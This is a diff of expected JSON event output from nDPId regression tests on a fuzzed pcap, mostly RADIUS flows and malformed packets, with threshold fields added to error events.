00737{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":189,"source":"fuzz-2020-02-16-11740.pcap","alias":"nDPId-test","flow_id":44,"flow_state":"info","flow_src_packets_processed":1,"flow_dst_packets_processed":0,"flow_first_seen":1528997764910655,"flow_src_last_pkt_time":1528997764910655,"flow_dst_last_pkt_time":1528997764910655,"flow_idle_time":620000000,"flow_src_min_l4_payload_len":663,"flow_dst_min_l4_payload_len":0,"flow_src_max_l4_payload_len":663,"flow_dst_max_l4_payload_len":0,"flow_src_tot_l4_payload_len":663,"flow_dst_tot_l4_payload_len":0,"midstream":0,"thread_ts_usec":1528997764910655,"l3_proto":"ip4","src_ip":"10.12.64.30","dst_ip":"198.226.25.53","l4_proto":0,"flow_datalink":1,"flow_max_packets":3} @@ -334,15 +334,15 @@ 00773{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":213,"source":"fuzz-2020-02-16-11740.pcap","alias":"nDPId-test","flow_id":49,"flow_state":"info","flow_src_packets_processed":1,"flow_dst_packets_processed":0,"flow_first_seen":1528997777144007,"flow_src_last_pkt_time":1528997777144007,"flow_dst_last_pkt_time":1528997777144007,"flow_idle_time":200000000,"flow_src_min_l4_payload_len":683,"flow_dst_min_l4_payload_len":0,"flow_src_max_l4_payload_len":683,"flow_dst_max_l4_payload_len":0,"flow_src_tot_l4_payload_len":683,"flow_dst_tot_l4_payload_len":0,"midstream":0,"thread_ts_usec":1528997777144007,"l3_proto":"ip4","src_ip":"10.84.37.0","dst_ip":"198.226.25.53","src_port":29200,"dst_port":1812,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":3} 01423{"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":213,"source":"fuzz-2020-02-16-11740.pcap","alias":"nDPId-test","flow_id":49,"flow_packet_id":1,"flow_src_last_pkt_time":1528997777144007,"flow_dst_last_pkt_time":1528997777144007,"flow_idle_time":200000000,"pkt_oversize":false,"pkt_caplen":725,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":725,"pkt_l4_len":691,"thread_ts_usec":1528997777144007,"pkt":"AAAMB6xAABRP+4rqCABFAALHISdAAP8RAAAKVCUAxuIZNXIQBxQCswAAAXUCq0+RGyL6qp4kGgBnV02AqO8aCgAAV8gOBFVzGgwAAFfIDQZ3aWZpGg9zAFfICQlXSVNQUjEwGgkAADghDQM3NwZbItKBATUwMzExNDgwMDczNjM4MDcyQHdsYW4ubW5jNDgwLm1jYzMxMS4zZ3BwbmV0d29yay5vcmdZAxB+CDFjaXNjb4MGAAAAAR8TZjAtNzktNjAtZDEtN2QtMzceJWwwLWE3LTQyLWQwLWUwLTAwOlZlcml6b25XaUZpQWNjZXNzBQYAAAAIGjEAAAAJASthdWRpdC1zZXNzaW9uLWlkPTEwZmZBMGFjMDAwMDAwYzg4a2E3MjI1YiwgNWIyMmE3OGMvZjA6Nzk6NjA6ZDE6N2Q6MzcvMjMxBAasFAEQIA5WWldDMlRlc3RMYWIaDAAAN2MBBgAAAAIGBgAAAAIMBgAABRQ9BgAAABNABgAAAA1BBgAAAAZRBDU2TyZ1AgAkFwEAAAsFAAB4gbzVxbw2lh1ax6mZCkrRAwIAIEu4WjAaFAAAV8gHDlZaV0MyVGVzdExhYhoKAABXyAgERVQaEAAAV8gKClN0YW5kYXJkGhAAAFfICwpUZXN0IExhYhoJAABNyA8DMRoKAABXyBAETkoaEQAAV8gRC0x5bmRodXJzdBoMAABXyBIGAAAAyRoXAABXyB0RVlpXIEMyIFBlc3QgTGFiGgsAAFfIJQVWelcaDQAAOCEOBzA3MDcxGgwAADghTwYAAOsAGhUAADghEg9JbnZhbGlkIFZhbHVlGh0AADghExc0MC44MDQ4ODJOLTc0LjEwMjgzOVcaDAAAOCEUBgAAAQIaDAAAOCEVBgAAAAIaFQAAOCEWD1N0YWRpdW1EaXJlY3QaDAAABYMHBsBQSplQEiPn8\/WrP4cXVwKHtEGPFQc="} 00882{"flow_event_id":7,"flow_event_name":"detected","thread_id":0,"packet_id":213,"source":"fuzz-2020-02-16-11740.pcap","alias":"nDPId-test","flow_id":49,"flow_state":"info","flow_src_packets_processed":1,"flow_dst_packets_processed":0,"flow_first_seen":1528997777144007,"flow_src_last_pkt_time":1528997777144007,"flow_dst_last_pkt_time":1528997777144007,"flow_idle_time":200000000,"flow_src_min_l4_payload_len":683,"flow_dst_min_l4_payload_len":0,"flow_src_max_l4_payload_len":683,"flow_dst_max_l4_payload_len":0,"flow_src_tot_l4_payload_len":683,"flow_dst_tot_l4_payload_len":0,"midstream":0,"thread_ts_usec":1528997777144007,"l3_proto":"ip4","src_ip":"10.84.37.0","dst_ip":"198.226.25.53","src_port":29200,"dst_port":1812,"l4_proto":"udp","ndpi": {"confidence": {"6":"DPI"},"proto":"Radius","proto_id":"146","encrypted":0,"breed":"Acceptable","category_id":14,"category":"Network"}} -00221{"error_event_id":9,"error_event_name":"nDPI IPv4\/L4 payload detection failed","datalink":1,"packet_id":214,"source":"fuzz-2020-02-16-11740.pcap","alias":"nDPId-test","l4_data_len":284,"global_ts_usec":1528997777328264} +00321{"error_event_id":9,"error_event_name":"nDPI IPv4\/L4 payload detection failed","datalink":1,"threshold_n":1,"threshold_n_max":16,"threshold_time":10000000,"threshold_ts_usec":1528997777328264,"packet_id":214,"source":"fuzz-2020-02-16-11740.pcap","alias":"nDPId-test","l4_data_len":284,"global_ts_usec":1528997777328264} 00717{"packet_event_id":1,"packet_event_name":"packet","packet_id":214,"source":"fuzz-2020-02-16-11740.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":318,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":318,"pkt_l4_len":0,"thread_ts_usec":1528997777144007,"pkt":"ABRP+4rqcNuYVcUnCABFAAEwBTlWAPwRTkLG4hk1CgxAHgcUchABHFtlAnUBFPy\/77suJLORzOzxdqID6lIaCwAAV8gbBVNQQxpuAAABNxA0sgGX0jUZ0GkvrTEvR6JJSI5kjTryeLE5ZDtRZpqfIB5gVwEzf0GZAiOA3v7qRShWEqoRNMrrQ0Ld9EZkDOPTXqYYz\/U0I\/SC+HAlACKylcNORMjkiI8OEYrbS\/uvrFsRUJm7gb3AATUwMzExNDgwMDczNjM4MDcyQHdsYW4ubW5jNDgwLm1jYzMxMS4zZ3BwbmV0dyUAay5vcmcsIDViMjJhNzhjL2aqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqq"} -00200{"error_event_id":2,"error_event_name":"Unknown L3 protocol","datalink":1,"packet_id":218,"source":"fuzz-2020-02-16-11740.pcap","alias":"nDPId-test","protocol":2048,"global_ts_usec":1528997778442013} +00300{"error_event_id":2,"error_event_name":"Unknown L3 protocol","datalink":1,"threshold_n":2,"threshold_n_max":16,"threshold_time":10000000,"threshold_ts_usec":1528997778442013,"packet_id":218,"source":"fuzz-2020-02-16-11740.pcap","alias":"nDPId-test","protocol":2048,"global_ts_usec":1528997778442013} 00565{"packet_event_id":1,"packet_event_name":"packet","packet_id":218,"source":"fuzz-2020-02-16-11740.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":206,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":206,"pkt_l4_len":0,"thread_ts_usec":1528997778376402,"pkt":"ABRP+4rqcNuYVcUnCABVAADABUNAAPwRTqjG4hk1CgxAHgcUchAArF9UA3cApCAevq4tL8m2+S5T0IZH68wBNTAzMTE0ODAyODE1MDE1ODlAd2xhbi5tbmM0ODAubWNjMzExLjNncHBuZXR3b3JrLm9yZywgNWIyMmE3ODYvZTA6NWY6NDU6OTA6MDk6NWYvMjMwEiIzMjc2NCBTdWJzY3JpYmVyIG5vdCBwcm92aXNpb25lZE8HBAEABwBQEqtx8kLAbqN4aRfnk10cKJs="} -00221{"error_event_id":9,"error_event_name":"nDPI IPv4\/L4 payload detection failed","datalink":1,"packet_id":219,"source":"fuzz-2020-02-16-11740.pcap","alias":"nDPId-test","l4_data_len":711,"global_ts_usec":1528997780932557} +00321{"error_event_id":9,"error_event_name":"nDPI IPv4\/L4 payload detection failed","datalink":1,"threshold_n":3,"threshold_n_max":16,"threshold_time":10000000,"threshold_ts_usec":1528997780932557,"packet_id":219,"source":"fuzz-2020-02-16-11740.pcap","alias":"nDPId-test","l4_data_len":711,"global_ts_usec":1528997780932557} 01285{"packet_event_id":1,"packet_event_name":"packet","packet_id":219,"source":"fuzz-2020-02-16-11740.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":745,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":745,"pkt_l4_len":0,"thread_ts_usec":1528997778376402,"pkt":"hQAMB6xAchRP+4rqCABFAALbISpAbP8RAAAKDEAewuIZOHIQBxQCxwAAAXgCv4kwEW0JCeMao3TRk2O0OJUaCgAAV2QOBFVTGgwAAFfIDQZ3aWZpGg8AAFfICQlXSVNQUjEwGgkAADghDQM4NwZbIqeUATUwMzExNDgwMDczNjM4MDclAHdsYW4ubW5jNE8wLm1jYzMxMS4zZ3BwbmV0d29yay5vcmdZAxB+CDFjaXNjb4MGAAAAAR8TZjAtNzktNjAtZEwtN2QtMzceJTAwLWE3LTQyLWQwLWUwLTAwOlZlcml6b25XaUZpQWNjZXNzBQYAAAAIGjAAAAAJASthdWRpdC1zZXNzaW9uLWlkPTEwZmYxMGFjMDAwMDAwYzg4Y2E3MjI1YiwgNWIyMmE3OGMvZjA6Nzk6NjA6ZDE6N2Q6MzcvMjMxBAasFAEQIA5WWldDMlRlc3RMYWIaDAAAN2MBBgAAAAIGBgABAAIMBgAABRQ9BgAAACUABgAAAA1BBgAAAAZRBDU2TzoCAaqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqg=="} -00200{"error_event_id":2,"error_event_name":"Unknown L3 protocol","datalink":1,"packet_id":221,"source":"fuzz-2020-02-16-11740.pcap","alias":"nDPId-test","protocol":2048,"global_ts_usec":1528997781425645} +00300{"error_event_id":2,"error_event_name":"Unknown L3 protocol","datalink":1,"threshold_n":4,"threshold_n_max":16,"threshold_time":10000000,"threshold_ts_usec":1528997781425645,"packet_id":221,"source":"fuzz-2020-02-16-11740.pcap","alias":"nDPId-test","protocol":2048,"global_ts_usec":1528997781425645} 01257{"packet_event_id":1,"packet_event_name":"packet","packet_id":221,"source":"fuzz-2020-02-16-11740.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":725,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":725,"pkt_l4_len":0,"thread_ts_usec":1528997781139202,"pkt":"AAAMB6xAABRPU4rqCAAXAALHIStAAP8RAAAKDEAexuIZNXIQBxQCswAAAXkCq1Vl1UpA6lxXEhEbxa4HRw8aCgAAV8gOBFVTmgwAAFfIDQZ3oGZpGg8AAFfICQlXSVNQUjEwGgkAADghDQM4NwZbIqeVATUwMzExNDgwMDczNjM4MDcyQHdsYW4ubW5jNDgwLm1jYzMxMS4zZ3BwbmV0d29yay5vcmdZAxB+CDFjaXNjb4MGAAAAAR8TZjAtNzktNjAtZjEtN2QtMzceJTAwLWE3LTQyLWQwLWUwLTAwOlZlcml6b25XaUZpQWNjZXNzAgYAAAAIGjEAAAAJASthdWRpdC1zZXMlAG9uLWlkPTFlZmYxMGFjMDAwMDAwYzg4Y2E3MjI1YiwgNWIyMmE3OGMlADA6Nzk6NjA6ZDE6N2Q6MzcvMjMxBAasFAEQIA5WWldDMlRlc3RMYWIaDAAAN2MBBgAAAAIGBgAAAAIMBgAABRQ9BgAAABNABgAAAA1BBgAAAAZRBDU2TyYCAgAkFwEAAAsFAABKHBPmGtNtIJzGpfhqB3eGdAIAIFrsFJ8aFAAAV8gHDlZaV0MyVGVzdExhYlUKAABXyAgERVQaEAAAV8gKClN0YW5kYXJkGhAAAFfICwpUZXN0IExhYhoJAABXyA8DMRoKAABXyBAETkoaJQAAV8gRC0x5bmRodXJzdBoMAABXyBIGAAAAyRoXAABXyB0RVlpXIEMyIFRlc3QgTGFiGgsAAFfIJQVWelcaDQAAOCEOBzA3MDcxGgwAADghEQYAAAAAGhUAADghEg9JbnZhbGlkIFZhbHVlGh0AADgh8hc0sS44MDQ4ODJOLTc0LjEwMjgzqlcaDAAAOCEUBgAAAQIaDAAAOCEVBgAAAAI4NQAAOCEWJFN0YWRpdW1EaXJlY3QaDAAABYMHBtxQSplQEsG70Fu7iBnc6ge0pZ5Q5mQ="} -00200{"error_event_id":2,"error_event_name":"Unknown L3 protocol","datalink":1,"packet_id":223,"source":"fuzz-2020-02-16-11740.pcap","alias":"nDPId-test","protocol":2048,"global_ts_usec":1528997826378144} +00300{"error_event_id":2,"error_event_name":"Unknown L3 protocol","datalink":1,"threshold_n":1,"threshold_n_max":16,"threshold_time":10000000,"threshold_ts_usec":1528997826378144,"packet_id":223,"source":"fuzz-2020-02-16-11740.pcap","alias":"nDPId-test","protocol":2048,"global_ts_usec":1528997826378144} 01285{"packet_event_id":1,"packet_event_name":"packet","packet_id":223,"source":"fuzz-2020-02-16-11740.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":745,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":745,"pkt_l4_len":0,"thread_ts_usec":1528997781611762,"pkt":"AAAMB6xAABRP+4rqCADLAALbISxAAP8RAAAKDEAexuIZNXIQBxQCxwAAAXoCv21LVaoOFlJlDTVaO4Jse+QaCgAAV8gOBFVTGgwAAFfIDQZ3aWZpGg8AAFfICQlXSVNQUjEwGgkAADghDQMyNwZbIqfCCTUwMzExNDgwMjgxNTAxNTg5QHdsYW4ubW5jrzgwLm1jYzMxMS4zZ3BwbmV0d29yay5vcmdZAxB+CDFjaXNjb4MGAAAAAR8TZTAtNWYtNDUtOTAtMDktNWYeJTAwLWE3LTQyLWQwLXkwLTAwOlZlcml6b25XaUZpQWNjZXNzBQYAAAAIGjEAAAAJASthdWRpdC1zZXNzaW9uLWl2PTEwZmYxMGFjMDAwMDAwYzljMmE3MjI1YiwgNWIyMmE3YzIvZTA6NWY6NDU6OTA6MDk6NWYvMjMyBAasFAEQIA5WWldDMvxlc3RMYWIaDAAAN2MBBgAAAAIGBgAAAAIMBgAABRQ9BgAAABNABgAAAA1BBgAAAAZRBDU2TzoCAQA4ATAzMTE0ODAyODE1MDE1ODlAd2xhbi5tbmM0ODAubWNjMzExLjNncHBuZXR3b3JrLm9yZxoUAABXyAcOVlpXQzJUZXN0TGFiGgoAAFfICARFVBoQAABXyAoKU3RhbmRhcmQaEAAAV8gLClRlc3QgTGFiGgkAAFfIDwMxGgoAAFfIEAROShoRAABXyBELTHluZGh1cnN0GgwAAFfIEgYAAADJGhcAAFfIHRFWWlcgQzIgVGVzdCBMYWIaCwAAV8glBVZ6VxoNAAA4IQ4HMDcwNzEaDAAAOCERBgAAAAAaFQAA8yESD0ludmFsaWQgVmFsdWUaHQAAOCETFzQwLjgwNDhvMk4tNzQuMTAyODM5VxoMAAA4IRQGAAABAhoMAAA4IR0GAAAAAhoVAAA4IRYPU3RhZGl1bURpcmVjdBoMAAAFgwcGwFBKmVASlj6j0uJ92nAXwxDVWGMfUg=="} 00772{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":227,"source":"fuzz-2020-02-16-11740.pcap","alias":"nDPId-test","flow_id":50,"flow_state":"info","flow_src_packets_processed":1,"flow_dst_packets_processed":0,"flow_first_seen":1528997829855077,"flow_src_last_pkt_time":1528997829855077,"flow_dst_last_pkt_time":1528997829855077,"flow_idle_time":200000000,"flow_src_min_l4_payload_len":703,"flow_dst_min_l4_payload_len":0,"flow_src_max_l4_payload_len":703,"flow_dst_max_l4_payload_len":0,"flow_src_tot_l4_payload_len":703,"flow_dst_tot_l4_payload_len":0,"midstream":0,"thread_ts_usec":1528997829855077,"l3_proto":"ip4","src_ip":"10.12.64.37","dst_ip":"0.226.25.53","src_port":29200,"dst_port":1812,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":3} 01452{"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":227,"source":"fuzz-2020-02-16-11740.pcap","alias":"nDPId-test","flow_id":50,"flow_packet_id":1,"flow_src_last_pkt_time":1528997829855077,"flow_dst_last_pkt_time":1528997829855077,"flow_idle_time":200000000,"pkt_oversize":false,"pkt_caplen":745,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":745,"pkt_l4_len":711,"thread_ts_usec":1528997829855077,"pkt":"AAAMB6xAABRd+4rqCABFAALbIS5AAP8RAAAKDEAlAOIZNXIQBxQCxwAAAXwCv4IsSQM3nR8wY02\/WtSNjVsaCgAAV8gOBFVTGgwAAFfIDQZ3aWZpGg8AAF\/ICQlXSVNQUjEwOgkAADghDQMyNwZbIqfFATVRMzExNDgwMjgxNTAxNTg5QHdsYW4ubW5jNDgwLm1jYzMxMS4zZ3BwbmV0d29yay5vc2dZAxB+CDFjaXNjb4MGAAAAAR8TZTAtNWYtNDUtOTAtMDktNWYeJTAwLWE3LTQyLWQwLWUwLTAwOlZlcml6b25XaUZpQWNjZXNzBQYAAAAIGjEAAAAJASthdWRpdC1zZXNzZG9uLWlkPTEwZmYxMGFjMDAwMDAwYzljMmE3MjI1YiwgNWIyMmE3YzIvZTA6NWY6NDU6OTA6MDk6NWYvMjMyBAasFAEQIA5WWldDMlRlc3RMYWIaDAAAN2MBBgAAAAIGBgAAAAIMBgAABRQ9BgAAABNABgAAAA1BBgC7AAZRBDU2TzoCAQA4ATAzMTE0ODAyODE1MDE1ODlAd2xhbi5tbmM0ODAubWNjMzExLjNncHBuZXR3b3JrLkVyZxoUAABXyAcOVlpXQzJUZXN0TGFiGgoAAFfICARFahoQAABXyAoKU3RhbmRhcmQaEAAAV8gLClRlc3QgTGFiGgkAAFfIDwMxGgoAAFfIEAROShoRAABXyBELTHluZGh1cnN0GgwAAFfIEgYAAADJGhcAAFfIHRFWWlcgYzIgVGVzdCBMYWIaCwAAV8glBVZ6VxoNAAA4IQ4HMDcwNzEaDAAAOCERBgAAAAAaFQAAOCESD0ludmFsaWUgVmFsdWUaHQAAOCETFzQwLjgwNDg4Mk4tNzQuMTAyODM5VxoMeQA4IRQGAAABAhoMAAA4IRUzAAAAAhoVAAA4IRYPU3RhZGl1bURpcmVjdBoMAAAFgwcGwFBKmVASDRiCmnK8XecKtcjM1khyyg=="} @@ -374,9 +374,9 @@ 00774{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":236,"source":"fuzz-2020-02-16-11740.pcap","alias":"nDPId-test","flow_id":53,"flow_state":"info","flow_src_packets_processed":1,"flow_dst_packets_processed":0,"flow_first_seen":1528997839322635,"flow_src_last_pkt_time":1528997839322635,"flow_dst_last_pkt_time":1528997839322635,"flow_idle_time":200000000,"flow_src_min_l4_payload_len":137,"flow_dst_min_l4_payload_len":0,"flow_src_max_l4_payload_len":137,"flow_dst_max_l4_payload_len":0,"flow_src_tot_l4_payload_len":137,"flow_dst_tot_l4_payload_len":0,"midstream":0,"thread_ts_usec":1528997839322635,"l3_proto":"ip4","src_ip":"198.226.25.53","dst_ip":"10.12.64.30","src_port":1813,"dst_port":29200,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":3} 00695{"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":236,"source":"fuzz-2020-02-16-11740.pcap","alias":"nDPId-test","flow_id":53,"flow_packet_id":1,"flow_src_last_pkt_time":1528997839322635,"flow_dst_last_pkt_time":1528997839322635,"flow_idle_time":200000000,"pkt_oversize":false,"pkt_caplen":179,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":179,"pkt_l4_len":145,"thread_ts_usec":1528997839322635,"pkt":"ABRP+4rqcNuYVcUnCABFAAClBj5AAPwRTcjG4hk1CgxAHgcVchAAkSN5C4AAiYCfkZP9IDJyM93m2y+NtRUBNTAzMTE0ODAwNzEzOTQzMDRAd2xhbi5tbmM0MDAubWNjMzExLjNncHBuZXR3b3JrLm9yZywgNWIyMmE3Y2YvYjA6OWY6YmE6NGE6MGU6N2UvMjMzTw4BAAAMFwwAAAwBf\/xQEl7YRWPdxCp7KxkigG7kdUs="} 00883{"flow_event_id":7,"flow_event_name":"detected","thread_id":0,"packet_id":236,"source":"fuzz-2020-02-16-11740.pcap","alias":"nDPId-test","flow_id":53,"flow_state":"info","flow_src_packets_processed":1,"flow_dst_packets_processed":0,"flow_first_seen":1528997839322635,"flow_src_last_pkt_time":1528997839322635,"flow_dst_last_pkt_time":1528997839322635,"flow_idle_time":200000000,"flow_src_min_l4_payload_len":137,"flow_dst_min_l4_payload_len":0,"flow_src_max_l4_payload_len":137,"flow_dst_max_l4_payload_len":0,"flow_src_tot_l4_payload_len":137,"flow_dst_tot_l4_payload_len":0,"midstream":0,"thread_ts_usec":1528997839322635,"l3_proto":"ip4","src_ip":"198.226.25.53","dst_ip":"10.12.64.30","src_port":1813,"dst_port":29200,"l4_proto":"udp","ndpi": {"confidence": {"6":"DPI"},"proto":"Radius","proto_id":"146","encrypted":0,"breed":"Acceptable","category_id":14,"category":"Network"}} -00203{"error_event_id":5,"error_event_name":"Unknown packet type","datalink":1,"packet_id":237,"source":"fuzz-2020-02-16-11740.pcap","alias":"nDPId-test","layer_type":43690,"global_ts_usec":1528997839449302} +00303{"error_event_id":5,"error_event_name":"Unknown packet type","datalink":1,"threshold_n":1,"threshold_n_max":16,"threshold_time":10000000,"threshold_ts_usec":1528997839449302,"packet_id":237,"source":"fuzz-2020-02-16-11740.pcap","alias":"nDPId-test","layer_type":43690,"global_ts_usec":1528997839449302} 01222{"packet_event_id":1,"packet_event_name":"packet","packet_id":237,"source":"fuzz-2020-02-16-11740.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":697,"pkt_type":43690,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":697,"pkt_l4_len":0,"thread_ts_usec":1528997839322635,"pkt":"AAAMB6xAVRRP+4qqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqg=="} -00200{"error_event_id":2,"error_event_name":"Unknown L3 protocol","datalink":1,"packet_id":238,"source":"fuzz-2020-02-16-11740.pcap","alias":"nDPId-test","protocol":2048,"global_ts_usec":1528997839511870} +00300{"error_event_id":2,"error_event_name":"Unknown L3 protocol","datalink":1,"threshold_n":2,"threshold_n_max":16,"threshold_time":10000000,"threshold_ts_usec":1528997839511870,"packet_id":238,"source":"fuzz-2020-02-16-11740.pcap","alias":"nDPId-test","protocol":2048,"global_ts_usec":1528997839511870} 00565{"packet_event_id":1,"packet_event_name":"packet","packet_id":238,"source":"fuzz-2020-02-16-11740.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":206,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":206,"pkt_l4_len":0,"thread_ts_usec":1528997839322635,"pkt":"ABRP+4rqcNuYVcUnCABlAADABkJAAPwRTaqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqo="} 00921{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":239,"source":"fuzz-2020-02-16-11740.pcap","alias":"nDPId-test","flow_id":37,"flow_state":"finished","flow_src_packets_processed":1,"flow_dst_packets_processed":0,"flow_first_seen":1528997655528306,"flow_src_last_pkt_time":1528997655528306,"flow_dst_last_pkt_time":1528997655528306,"flow_idle_time":200000000,"flow_src_min_l4_payload_len":276,"flow_dst_min_l4_payload_len":0,"flow_src_max_l4_payload_len":276,"flow_dst_max_l4_payload_len":0,"flow_src_tot_l4_payload_len":276,"flow_dst_tot_l4_payload_len":0,"midstream":0,"thread_ts_usec":1528997839322635,"l3_proto":"ip4","src_ip":"198.226.25.62","dst_ip":"10.12.37.0","src_port":1812,"dst_port":29200,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":3,"ndpi": {"confidence": {"6":"DPI"},"proto":"Radius","proto_id":"146","encrypted":0,"breed":"Acceptable","category_id":14,"category":"Network"}} 00919{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":239,"source":"fuzz-2020-02-16-11740.pcap","alias":"nDPId-test","flow_id":36,"flow_state":"finished","flow_src_packets_processed":1,"flow_dst_packets_processed":0,"flow_first_seen":1528997655006021,"flow_src_last_pkt_time":1528997655006021,"flow_dst_last_pkt_time":1528997655006021,"flow_idle_time":200000000,"flow_src_min_l4_payload_len":197,"flow_dst_min_l4_payload_len":0,"flow_src_max_l4_payload_len":197,"flow_dst_max_l4_payload_len":0,"flow_src_tot_l4_payload_len":197,"flow_dst_tot_l4_payload_len":0,"midstream":0,"thread_ts_usec":1528997839322635,"l3_proto":"ip4","src_ip":"37.0.25.62","dst_ip":"10.12.64.30","src_port":1812,"dst_port":29200,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":3,"ndpi": {"confidence": {"6":"DPI"},"proto":"Radius","proto_id":"146","encrypted":0,"breed":"Acceptable","category_id":14,"category":"Network"}} @@ -392,9 +392,9 @@ 00783{"flow_event_id":9,"flow_event_name":"not-detected","thread_id":0,"packet_id":243,"source":"fuzz-2020-02-16-11740.pcap","alias":"nDPId-test","flow_id":23,"flow_state":"info","flow_src_packets_processed":1,"flow_dst_packets_processed":0,"flow_first_seen":1528997260021140,"flow_src_last_pkt_time":1528997260021140,"flow_dst_last_pkt_time":1528997260021140,"flow_idle_time":620000000,"flow_src_min_l4_payload_len":158,"flow_dst_min_l4_payload_len":0,"flow_src_max_l4_payload_len":158,"flow_dst_max_l4_payload_len":0,"flow_src_tot_l4_payload_len":158,"flow_dst_tot_l4_payload_len":0,"midstream":0,"thread_ts_usec":1528997867808101,"l3_proto":"ip4","src_ip":"198.226.25.62","dst_ip":"10.12.64.30","l4_proto":85,"ndpi": {"proto":"Unknown","proto_id":"0","encrypted":0,"breed":"Unrated"}} 